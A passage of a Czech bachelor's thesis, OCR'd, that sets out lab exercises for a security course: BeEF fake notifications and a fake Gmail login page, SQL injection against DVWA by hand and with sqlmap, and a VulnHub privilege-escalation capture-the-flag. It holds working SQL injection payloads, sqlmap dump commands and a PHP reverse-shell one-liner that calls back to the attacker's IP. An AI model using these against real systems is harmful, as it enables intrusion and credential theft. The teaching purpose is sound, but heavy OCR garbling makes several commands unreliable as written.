Druhym utokem je zobrazeni faleSné notifikace, ktera je k nalezeni ve sloZce Social
Engineering. Student si mze zvolit sviij vlastni text notifikace, ktera se po stisknuti tlacitka
Execute zobrazi v prohliZe¢i cile na karté, kde ma cil spuSténou infikovanou webovou

stranku.

C 1 @ File | fhome/kali/index.html
"

Kali Linux KaliTools # KaliDocs ¥ KaliForums ¢ Kali NetHunter OffSec 4% Exploit-DB Google Hackin...

i@ This website is running BeEF

PFijmﬂln'| |
Heslo | |
| submit |

Obrézek 6 — Zobrazeni falesné notifikace na karté obéti
Existuje 1 typ notifikace s takzvanym ndkladem. Cili se zobrazi notifikace vybizejici stdhnout
soubor, ktery je poskytnut uto¢nikem. Klasickym ptikladem notifikace s ndkladem je
napiiklad notifikace, kterd upozoriiuje na to, Ze pro spravny béh stranky je potfeba instalovat

nebo aktualizovat Adobe Flash Player. Pfi kliknuti na tlaitko instalace €1 aktualizace se pak
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cili nainstaluje jiz uto¢nikem piedurceny soubor. Utok faleSnou notifikaci s nakladem neni se

studentem podrobné probirdn, je pouze zminén jako alternativa k zobrazeni pouhé falesné

notifikace.
C { @ File | /homefkalifindex.html
KaliLinux # KaliTools « KaliDocs & KaliForums e Kali NetHunter OffSec  # Exploit-DB Google Hackin...
il Additional plugins are required to display all the media on this page. Install Missing Plugins... |
Piijmeni | |
Heslo | |
| Submit |

Obrézek 7 — Zobrazeni falesné notifikace s nakladem

3.1.5 Google phishing

Poslednim utokem, kterym se cviceni zabyva je Gtok Google phishing, jenZ je opé&t k nalezeni
ve slozce Social Engineering. Utok zobrazi cili na infikované karté prohlizeée jiz zastaralou
napodobeninu pfihlasovaci stranky k emailu Gmail a zaroven cil odhlasi z Gmailu na vSech
ostatnich kartach prohlizece. Cil je tedy nucen se piihlasit do emailu znovu a pokud se
ptihlési pravé pies napodobeninu piihlasovaci strdnky, Uto¢nik ziskd piihlasovaci tdaje
k emailu cile a cili se zobrazi, ze nastala chyba pfi ptihlaSeni nebo bude pfesmérovan na jinou
stranku, pokud student zménil pied spusténim utoku XSS hook URI. V posledni fadé se

zobrazi nova karta s jiz oficialni pfihlasovaci strankou ke Gmailu.

Google OO v o

Google Mail

Signin

Password

‘ Take Google Mail ta work with Google Apps for Business.
Love Gougle ai. . g

Obrazek 8 - Falesna prihlasovaci stranka ke Gmailu
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3.2 SQL injection

Dalsi cviceni bylo zaméfeno na seznameni s SQL injection utokem. Pro praci se vyuzila
zamérné zranitelnd webova aplikace s ndzvem Damn Vulnerable Web Application (DVWA),
ktera slouzi k procviceni vybranych kybernetickych utokti v bezpecném a legalnim prostiedi.
Veskera prace probihala v prostfedi operacniho systému Kali Linux a student nepotiebuje
k provedeni tohoto cviceni zadné externi pomticky, vSe totiz probiha jenom na jeho pocitaci.
Se studentem jsou probirany dva piistupy SQL injection utoku — manualni a automatizovany

pomoci nastroje sqlmap.

3.2.1 Instalace a spusténi

Instalace DVWA se provadi v adresaii /var/www/html. Do toho se student v terminalu
dostane ze svého domovského adresafe pomoci piikazi cd /, ktery piemisti uzivatele do
kofenového adresafe a cd var/www/html, jez piesune studenta do cilového adresaie.

V tomto adresafi pomoci piikazu

sudo git clone https://github.com/digininja/DVWA.qgit

jenz naklonuje z GitHubu DVWA. Nad stazenou slozkou je potfeba zménit pfistupova prava

ptikazem sudo chmod —-R 777 DVWA.

—( )~ [ /var/www/html ]

—$ sudo clone https://github.com/digininja/DVWA.git

[sudo] password for kali:

Cloning into 'DVWA'...

remote: Enumerating objects: 4500, done.

remote: Counting objects: 100% (50/50), done.

remote: Compressing objects: 100% (39/39), done.

remote: Total 4500 (delta 17), reused 33 (delta 10), pack-reused 4450

Receiving objects: (4500/4500), 2.30 MiB | 3.36 MiB/s, done.
Resolving deltas: 100% (2112/2112), done.

[ /var/ww/html |
index.html index.nginx-debian.html

)- [ /var/www/html ]
“R 777 DVMAJ

Obrazek 9 — Instalace a nastaveni prav pro DVIWA
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Po tupravé ptistupovych prav student prechazi do konfiguracniho adresafe DVWA piikazem
cd DVWA/config, kde pomoci pitkazu cp config.inc.php.dist
config.inc.php vytvoii kopii ptivodniho souboru, ktery se nachazel ve slozce, ale pod
jinym jménem.

) -[ /var/www/html ]
DVWA/config

)-[ /var/www /html/DVWA/config
config.inc.php.dist config.inc.php

)- [ /var/www/html/DVWA/config ]

config.inc.php config.inc.php.dist

Obrdzek 10— Tvorba kopie konfiguracniho souboru
Novy soubor musi student upravit v textovém editoru. Ve cviceni byl vybran editor nano pro
jeho jednoduché pouzivani. Student tedy otevie soubor v editoru nano pomoci piikazu nano
config.inc.php kde pofebuje upravit hodnoty dvou fadkid - $§ DVWA[ 'db user' ]
a$ DVWAJ 'db_password' ], kde na fadku db_user se nastavi hodnota na admin a na fadku
db password se nastavi hodnota password. Zmény se ulozi pomoci stisknuti kldves
Ctrl+O a Ctrl+X se textovy editor opusti.
= array();

[ 'db_server' ] getenv('DB_SERVER') ?: '127.0.0.1';
'db_database' ] "dvwa';

"db_user' ] = 'admin';
'db_password' ] = 'passwordf];[}
"db_port' ] = '3306';

Obrizek 11 — Uprava konfiguracniho souboru
Po opusténi editoru se student piesune piikazem cd / do kofenového adresafe, kde spusti
sluzbu MySQL piikazem sudo service mysql start a pomoci piikazu sudo mysql -
u root -p se prihlasi do databaze pod uZzivatelskym jménem root. Po tomto ptikazu je po
studentovi vyZadovano heslo, které v zédkladu neni nastaveno, a tudiz staci stisknout klavesu
Enter a student ziska piikazovou fadku MySQL. V ni pomoci ptikazu create database
dvwa; vytvofit databazi snazvem dvwa. Dale vytvoii piikazem create user
'admin'@'127.0.0.1' identified by 'password';, ktery vytvoii nového
uzivatele s uzivatelskym jménem admin, ktery muze pfistupovat k MySQL serveru ze

stejného pocitace (localhost, oznafen¢ho jako 127.0.0.1) aje autentizovdn pomoci hesla
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password. Uzivateli admin se piikazem grant all privileges on dvwa * to
'admin'@'127.0.0.1"; pfid¢luji vSechna opravnéni k praci s databazi dvwa. Admin ma

tedy plny pfistup ke vSem tabulkdm a funkcim v této databazi.

)-[/]
sudo mysql start
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:

. )-[/]
sudo -u reot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.11.6-MariaDB-2 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create database dvwa;
Query OK, 1 row affected (0.001 sec)

MariaDB [(none)]> create user 'admin'@®'127.0.0.1"' identified by 'password';
Query OK, @ rows affected (0.015 sec)

MariaDB [(none)]> grant all privileges on dvwa.* to 'admin'@®'127.0.0.1';
Query OK, @ rows affected (8.011 sec)

MariaDB [(none)]> exit
Bye

Obrézek 12 — Spusténi a konfigurace MySQL serveru
Dalsi sluzba, kterou student musi spustit pro chod DVWA je webovy server Apache. Ten
spusti piikazem sudo service apache2 start. Daéle student musi upravit
konfigura¢ni soubor apache php.ini. Tento soubor otevie v editoru nano piikazem sudo
nano etc/php/8.2/apache2/php.ini. Vtomto souboru student musi zménit
konfiguraci atributli allow url fopen a allow url include nachéazejicich se v sekci Fopen
wrappers tak, aby byly oba zapnuté. V posledni fad¢ je nutné spustit ptikaz sudo service

apache2 reload ke znovunacéteni webového serveru
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rrrrrrrrrrrrPRYIRERIRYRY
; Fopen wrappers ;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.

allow_url_fopen

; Whether to allow include/require to open URLs (like https:// or ftp://) as files.

allow_url_include = On

Obrizek 13 — Uprava konfiguracniho souboru php.ini

Po téchto krocich, student spusti DVWA na adrese http://127.0.0.1/DVWA a po ptihlaseni do

webové aplikace musi jesté stisknout tlacitko pro vytvoreni, popft. restartovani databaze a poté

nastavit obtiznost aplikace na nizkou uroven.

Cilem utoku na SQL injection listu DVWA je ziskat hesla z databaze, ktera obsahuje pét
uzivateli s unikatnim atributem id. Stranka pro Utok pomoci SQL injection se sklada
z textového pole atlacitka, jenzZ odesle obsah textového pole jako dotaz na databdze.
Vysledek dotazu je posléze vypsan na webové strance. DVWA umoznuje také nahlédnout do
zdrojového kddu aplikace. Ten je se studentem probran a je mu vysvétleno, proc¢ je tento kod
nebezpecny. Je tomu tak, protoze tento kod vklada piimo hodnotu proménné $id neboli
jakoukoliv hodnotu obsahu textového pole do SQL dotazu bez jakékoliv sanitace. To

umoznuje utocnikovi provadét libovolné SQL piikazy.

3.2.2 Manualni pFistup

Cviceni nejprve seznamuje studenta s vypisem webové aplikace. Pokud zad4 do textového
pole Cislo v rozmezi jedna az pét, vypiSe se mu zdznam uzivatele z databaze, ktery obsahuje
atributy id, jméno a pfijmeni. Zarovenn je poukazano, Ze hodnota atributu id je viditelna

v URL adrese a lze tento atribut upravit, aby se vypsaly i ostatni zdznamy uzivatelti

User ID: |1 | Submit

ID: 1
First name: admin
Surname: admin

Obrazek 14 — Vypis uzivatele s ID 1
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Student si poté vyzkousi do pole zadat ptikaz ' OR 1=1 #. Jedna se takzvany always true
piikaz, tedy ptikaz, ktery se vzdy vyhodnoti jako pravdivy, coz umozni ziskéni citlivych dat

nebo modifikaci chovani aplikace. Tento ptikaz vypise vSechny zaznamy v databazi

User ID:|' OR 1=1# | Submit |

ID: ' OR 1=1 #
First name: admin
Surname: admin

ID: ' OR 1=1 #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 #
First name: Hack
Surname: Me

ID: ' OR 1=1 #
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 #
First name: Bob
Surname: Smith

Obrazek 15 — Vypis vSech uzivatelii pomoci always true prikazu
Dalsi ptikaz, ktery student zada do textového pole je ' OR 1=1 union select null,
version() #. Tento piikaz zneuziva Union Select k provadéni neopravnénych operaci
v databazi. Kdyz je tento piikaz vlozen do textového pole, které aplikace pouziva k sestaveni
SQL dotazu, dojde k nechténému rozsifeni ptivodniho dotazu. Konkrétné ptidava dalsi ¢ast,

ktera vykonava funkci version(), coz vrati verzi databdzového systému.
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User ID: | select null, version() # | Submit

ID: ' OR 1=1 union select null, version() #
First name: admin
Surname: admin

ID: ' OR 1=1 union select null, version() #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 union select null, version() #
First name: Hack
Surname: Me

ID: ' OR 1=1 union select null, version() #
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 union select null, version() #
First name: Bob
Surname: Smith

ID: ' OR 1=1 union select null, version() #
First name:
Surname: 10.11.6-MariaDB-2

Obrazek 16 — Vypis verze databazového systému

Pro vypséani uzivatele, ktery spustil databdzi a ziskani nazvu databaze postaci studentovi
jenom minimalni Gpravy ptredeslého piikazu. Studentovi staci zaménit version() za user() pro

vypsani uzivatele, ktery spustil databazi a database() pro ziskani nazvu databaze.
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User ID: |elect null, database() # | Submit |

ID: ' OR 1=1 union select null, database() #
First name: admin
Surname: admin

ID: ' OR 1=1 union select null, database() #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 union select null, database() #
First name: Hack
Surname: Me

ID: ' OR 1=1 union select null, database() #
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 union select null, database() #
First name: Bob
Surname: Smith

ID: ' OR 1=1 union select null, database() #
First name:
Surname: dvwa

Obrazek 17 — Vypis ndzvu databaze

Ziskany nazev databaze posléze student vyuzije u piikazu

' OR 1=1 UNION SELECT 1,table_name FROM
information_schema.tables WHERE table_type='base table' AND

table_schema='dvwa' #

ktery zobrazi informacéni schéma databaze dvwa. Z vysledku vypliva, ze ve schématu jsou dvé
tabulky, ov§em pro Uspe$né dokonceni cviceni staci studentovi tabulka users.

ID: ' OR 1=1 UNION SELECT 1,table name FROM information schema.tables

First name: 1

Surname: guestbook

ID: ' OR 1=1 UNION SELECT 1,table name FROM information schema.tables

First name: 1
Surname: users

Obrazek 18 — Informacni schéma databdze dvwa
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Pro ziskani ndzvl sloupcti z tabulky users student vyuZije piikaz

' OR 1=1 UNION SELECT 1, column_name FROM

information_schema.columns WHERE table_name='users' #

ktery zjisti ndzvy sloupct tabulky. Z vysledki vyplyne, ze tabulka obsahuje sloupec password
s hesly uzivateld. Hodnoty tohoto sloupce student zjisti pomoci ptikazu ' OR 1=1 UNION
SELECT user, password FROM users #. Hesla jsou ovSem zahashovana pomoci
algoritmu MDS5. Ten Ize prolomit mnoha nastroji, avSak studentovi je nabidnuto polomeni

hashti pomoci webové stranky crackstation.net.

3.2.3 Automatizovany pristup
Druhym feSenim, jak ziskat hesla uZivateli z databaze je vyuziti néastroje Sqlmap, ktery
automatizuje proces detekovani azneuziti SQL injection chyb atim padem usnadiuje

a zrychluje praci.

Student si nejprve musi ziskat hodnotu PHPSESSID cookies z DVWA. Hodnotu cookies poté

doplni do jiz ptedptipravené¢ho ptikazu

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&
Submit=Submit#" --cookie="PHPSESSID=COOKIES_VALUE;security=low"

a spusti ho v terminalu. Sqlmap zjisti, ze GET parameter id je zranitelny.

Obrazek 19 — Ziskani PHPSESSID cookies

Déle student ptida k predesSlému piikazu piepina¢ --dbs, ktery identifikuje dvé databaze na
cilovém serveru — dvwa a information_schema. Poté ptfepinac --dbs nahradi pfepinaem --
tables, jenz vypiSe veskeré tabulky z databaze. Z vypisu se student dozvi, Ze databidze dvwa
obsahuje dv¢ tabulky, opét studentovi postaci pro UspéSné vyieSeni tabulka users. Dale

student zada ptikaz
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sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&
Submit=Submit#" --cookie="PHPSESSID=COOKIES_VALUE;security=low"

-D dvwa -T users —--columns

ktery vypise sloupce tabulky users. Student opét vidi, Ze tabulka users obsahuje sloupec

password s hesly. V posledni fad¢ student provede dump na tabulku pomoci ptikazu

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&
Submit=Submit#" -cookie="PHPSESSID=VASE_PHPSESID_COOKIES_HODNOTA

;security=low" -D dvwa -T users —dump.

Sqlmap dokaze prolomit hash hesel pomoci slovnikového utoku.

Database: dvwa

failed_login |

rd) | Smith | Bob

+
|
|
I
|
|
.

Obrazek 20 — Zaznamy z tabulky users s prolomenymi hesly

3.3 Eskalace privilegii

Tteti cviceni ukazuje studentovi, jak 1ze eskalovat privilegia na virtudlnim stroji Escalate my
Privileges: 1. Cilem je ziskat root prava na tomto virtudlnim stroji a ziskat obsah vlajecky
(textovy soubor proof.txt). Jedna se tedy o CTF (Capture the Flag), coz jsou oblibena cviceni
mezi hackery. Cilem CTF byva najit a zneuZzit imysIné€ vytvofené zranitelnosti v programu ¢i
webové strance. Usp&iné feSeni znamena ziskani vlajky (flag), ktera mé nejéast&ji podobu
textového souboru. Cviceni pokryva instalaci virtudlniho stroje a poté provedenim studenta

s provedenim utoku.

3.3.1 Instalace

Virtualni stroj se nachazi na strance https://www.vulnhub.com/entry/escalate-my-privileges-

1.448/ odkud si student stahne .ova (Open Virtualization Format) soubor, coZ je soubor, ktery
obsahuje vSechny potiebné informace pro spusténi virtudlniho stroje, vcetné operacniho
systému, softwarovych aplikaci a konfiguraci. Studentovi tedy stac¢i soubor rozkliknout
aobjevi se mu okno ,,Import virtudlni appliance®, kde nic nemusi nastavovat a sta¢i mu
potvrdit volbu. Poté se se student musi ujistit, Ze v nastaveni virtudlniho stroje v sekci sit’ je
nastaven sitovy most. Po spusténi virtualniho stroje Escalate my Privileges: 1 se zobrazi IP
adresa stroje. Tu si také muze vypsat ptikazem netdiscover, ale az po zadani pfikazu

sudo su.
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Armour Infosec
Wl armour inf osec .com
Escalate my privilege
Designed By :- Akanksha Sachin Uerma
Twitter :— Pakankshavermaswv
TSI R T R R R T S R B S T R R R S B R R T A S R

IP:192.168.1.285
Hostname: my_privilege

ent0S Linux 7 (Core)
Kernel 3.18.A-186Z2.18.1.e17.x86_64 on an xB86_64

_privilege login:

Obrdzek 21 — Virtudlni stroj Escalate my Privileges: 1
3.3.2 Provedeni utoku
Pokud si student ziskanou IP adresou virtualniho stroje otevie v prohlizeci, zobrazi se mu
pouze webové stranka s obrazkem. Musi si tedy pomoct ndstrojem nmap a ptikazem nmap -
A -Td -Pn IP, kde zIP je IP adresa virtualniho stroje stroji Escalate my Privileges: 1.

Z ptikazu zjisti, Ze existuje stranka /phpbash.php, na kterou se premisti.

/home/kali

nmap -A -T4 -Pn 192.168.1.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 16:32 EDT
Nmap scan report for 192.168.1.205
Host is up (0.0011s latency).
Not shown: 986 filtered tcp ports (no-response), 10 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp  open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 61:16:10:91:bd:d7:6c:06:df:a2:b9:b5:b9:3b:dd:b6 (RSA)
| 256 Oe:ak4:c9:fc:de:53:f6:1d:de:a9:de:e4:21:34:7d:1a (ECDSA)
|_ 256 ec:27:1e:42:65:1c:4a:3b:93:1c:al:75:be:00:22:0d (ED25519)
8@/tcp open http Apache httpd 2.4.6 ((Cent0S) PHP/5.4.16)
|_http-title: Check your Privilege
| http-robots.txt: 1 disallowed entry
| _/phpbash.php

Obrazek 22 — Sken IP adresy Escalate my Privileges: 1
Na této strance se nachazi bash terminal. Zadanim piikazu id ¢i whoami student zjisti, Ze
ovlada uzivatele Apache. Poté piikazem 1ls si vypiSe obsah adresafe a piikazem cat
readme. txt si vypise obsah textového souboru readme.txt. Z obsahu se student dozvi, ze

v systému existuje uzivatel Armour.
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s/var/www/html# id
uid=48(apache) gid=48(apache) groups=48(apache)

:/var/www/html# whoami
apache

:/var/www/html# 1s
index.html
phpbash.php

phpinfo.php
privilege.png
readme. txt
robots.txt

r/var/www/html# cat readme.txt
HI
Find Armour User backup in /backup

Obrdzek 23 — Zjisténi existence uzivatele Armour
Student si poté zjisti svoji IP adresu na Kali piikazem ifconfig a spusti v terminalu netcat
ptikazem nc —lvp 4u4d. TP adresu Kali doplni do jiz pfipraveného PHP reverse shell
piikazu php -r '$sock=fsockopen("IP",u4uudy);exec("/bin/sh -i <&3
>&3 2>&3"); "', kde IP je IP adresa studentovy Kali. Student reverse shell spusti v bashi
webové stranky. Po spusténi mlze student ovladat piikazovy tadek v terminalu Kali, kde
spustil netcat. Piikazem cd /home se ptepne do domovského adresaie a jeho obsah si vypise
ptikazem 1s. Zjisti, ze zde existuje jedna slozka, a to slozka uzivatele Armour, do které se
piikazem cd armour piepne. Student si vypiSe obsah slozky piikazem 1s a bude ho zajimat
obsah textového souboru Credentials.txt, jehoZ obsah si piikazem cat Credentials.txt

vypise.
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/home/kali

nc -lvp 4444
listening on [any] 4444
192.168.1.205: inverse host lookup failed: Unknown host
connect to [192.168.1.139] from (UNKNOWN) [192.168.1.205] 36402
sh: no job control in this shell
sh-4.2% whoami
whoami

apache

sh-4.2% pwd

pwd

/var/ww /html
sh-4.2% cd /home
cd /home

sh-4.2% 1s

1s

armour

sh-4.2%$ cd armour
cd armour

sh-4.2% 1s

1s

Credentials.txt
backup.sh

runme.sh

sh-4.2%$ cat Credentials.txt
cat Credentials.txt
my password is
md5(rootrootl)

Obrazek 24 — Zjisténi hesla uzivatele Armour
Z obsahu souboru se student dozvi, Ze heslo uzivatele Armour je mdS5 hash textu ,,rootroot1*.
Tento text si student pfevede na md5 hash avypiSe pomoci piikazu echo -n

"rootrootl" | mdS5sum.

/home/kali
echo -n "rootrootl"™ | md5sum

b?bc84893b935@485b4b19dbc2ﬁ2éSBS

Obrdazek 25 — Prevod textu na MD5 hash

Po ziskani hashe hesla uzivatele Armour se student ptemisti do konzole, kde mé spusténou
ptikazovou tadku virtudlniho stroje Escalate my Privileges: 1. Pomoci pfikazu su armour

a zaddnim hesla se pfepne na uzivatele Armour. Po piihlaSeni ovSem zisk4d pouze prazdny
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ptikazovy fadek. Ten lze opravit zadanim piikazu python3 -c  'import

pty;pty.spawn("/bin/bash") "', ktery spusti interaktivni bash shell v Pythonu.

sh-4.2% su armour

su armour

Password: b7bc8489abe360486b4b19dbc242e885
whoami

armour

id
uid=1000(armour) gid=1000(armour) groups=1000(armour),31(exim)

python3 -c 'import pty;pty.spawn("/bin/bash™)
[armour@my_privilege html]$ |

Obrazek 26 — Prihlaseni na uzivatele Arnour a spustént bash shellu v Pythonu

Dale si student vypiSe sudo prava pro uzivatele Armour piikazem sudo -1. Uzivatel
Armour ma mnoho povolenych piikazii, ov§em na root uzivatele se student pfepne piikazem
sudo /bin/bash. Poté student piikazem find / -name "proof.txt" spusti
vyhledavani umisténi vlajecky, respektive souboru proof.txt, ktery se nachazi v adresafi /root.

Obsah tohoto souboru si student vypise pfikazem cat /root/proof.txt.
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ZAVER
Cilem bakalatské prace bylo rozsifit studijni materialy pro piredmét Bezpecnost informacnich

systémi. Zpracovany byly celkem tfi kybernetické utoky, ato Browser Exploitation

Framework, SQL injeciton a eskalace privilegii.

Teoreticka Cast bakalatské prace se zabyvala podrobnym popisem vybranych kybernetickych
utokl. Byl vysvétlen jejich princip, mozné typy daného kybernetického toku a obrana ¢i

prevence proti nim.

Prakticka Cast se zabyvala tvorbou studijnich materiala. Ty vysvétluji, jak provést jednotlivé
kybernetické utoky. Cviceni na Browser Exploitation Framework se zaméfilo na vysvétleni
prostiedi, ve kterém se pracuje s timto frameworkem, pochopeni principu hooku, jenz déla
tento utok moZzny a vyzkouSeni si tfi z mnoha moznych moduld. Cvi¢eni na SQL injection
vyuzivd zamérné zranitelnou webovou aplikace Damn Vulnerable Web Application
(DVWA). Cviceni se krom instalace webové aplikace d€li na manudlni a automatizovany
pristup k utoku pomoci SQL injection. Manualni pfistup zneuziva pomoci specifickych SQL
dotazli nulovou sanitaci textu v textovém poli v modulu SQL injection ve webové aplikaci
DVWA. Automatizovany pfistup vyuziva nastroje Sqlmap, ktery tyto zranitelnosti sam za
studenta odhali a zneuzije. Posledni cvi¢eni se zaméfilo na jeden z moznych zptsobt eskalace
privilegii. K cvieni byl vyuzit zdmérné zranitelny virtualni stroj Escalate my privileges: 1.
Cilem cviceni bylo ziskat obsah textového souboru v adresari, ke kterému mél ptistup pouze

root uzivatel. K feSeni tohoto virtudlniho stroje se zneuzila prebytecnd sudo prava uzivateli.

Studijni materidly jsou spiSe mifené na zacateCniky, jelikoz se v pfedmétu Bezpecnost
informacnich systémil nepocita s tim, Ze student bude mit prehled v oblasti kyberbezpecnosti.
Student tyto kybernetické utoky provadi sdm na sob¢, aby nikoho neohrozil. Zaroven
nepotiebuje k provedeni jednotlivych kybernetickych utokdi zddné pomiicky, vse lze totiz

provést na jeho pocitaci, coZ vede k moZnosti si studijni material vypracovat kdekoliv.

Vzhledem k designu studijnich materialti kromé studenta ptredmétu Bezpecnost informac¢nich
systétmii muze tyto materidly vyuzit inadSenec, ktery se chce dozvédét o popisovanych

kybernetickych utocich. Praktické vyzkouSeni téchto utokli povede k prevenci a psani

wvewr
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